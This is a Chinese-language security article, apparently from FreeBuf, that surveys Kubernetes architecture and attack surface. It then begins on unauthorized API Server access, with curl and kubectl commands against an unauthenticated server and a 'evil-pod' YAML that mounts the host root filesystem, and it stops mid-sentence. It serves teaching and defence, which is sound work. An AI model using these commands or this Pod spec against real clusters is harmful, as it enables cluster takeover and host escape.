
引言
Kubernetes(K8s)作为云原生架构的核心组件,其复杂性和广泛的应用场景使其成为攻击者的主要目标。K8s的安全问题不仅限于控制平面和工作负载,还涉及容器运行时、网络配置、存储卷等多个层面。本文将全面梳理K8s集群的主要攻击手法,包括2375端口未授权、挂载Docker Socket逃逸、Kubeconfig文件泄露和历史漏洞等,并提供示例代码和防御策略。
一、K8s前置知识
1. Kubernetes架构概述
Kubernetes是一个开源的容器编排平台,用于自动化部署、扩展和管理容器化应用。其核心组件包括:
API Server:集群的入口,负责处理所有REST请求。
etcd:分布式键值存储,保存集群的所有配置数据。
kubelet:节点上的代理,负责管理Pod和容器。
kube-proxy:负责网络代理和负载均衡。
Controller Manager:负责维护集群状态(如副本数、节点状态)。
Scheduler:负责将Pod调度到合适的节点。
2. Kubernetes安全模型
K8s的安全模型基于以下几个核心概念:
认证(Authentication):验证用户或服务的身份(如客户端证书、Bearer Token)。
授权(Authorization):基于RBAC(基于角色的访问控制)或ABAC(基于属性的访问控制)限制用户或服务的权限。
准入控制(Admission Control):在请求被API Server处理前进行额外检查(如Pod Security Policies)。
网络策略(Network Policies):限制Pod之间的网络通信。
3. Kubernetes攻击面
K8s的攻击面广泛,主要包括:
控制平面:API Server、etcd、Controller Manager、Scheduler等。
工作节点:kubelet、kube-proxy、容器运行时(如Docker、containerd)。
网络:Pod间通信、Service暴露、Ingress配置。
存储:PersistentVolume、PersistentVolumeClaim、Secrets。
供应链:镜像仓库、CI/CD流水线。
二、K8s核心攻击手法及示例
1. API Server未授权访问
攻击原理:
K8s API Server(默认端口6443/8080)是集群的控制平面入口。若未启用身份验证或权限配置错误,攻击者可直接通过API Server接管集群。例如,旧版本K8s默认开放8080端口且无需认证。
攻击步骤:
探测开放的API Server端口:
curl -k https://<IP>:6443/api/v1/namespaces/default/pods
使用
kubectl
工具直接管理集群:
kubectl -s http://<IP>:8080 get nodes # 列出所有节点
kubectl -s http://<IP>:8080 create -f malicious-pod.yaml # 创建恶意Pod
示例恶意Pod(挂载宿主机根目录):
yaml
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
containers:
- name: nginx
image: nginx
volumeMounts:
- mountPath: /host
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
通过挂载宿主机文件系统,攻击者可修改/etc/crontab
实现
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)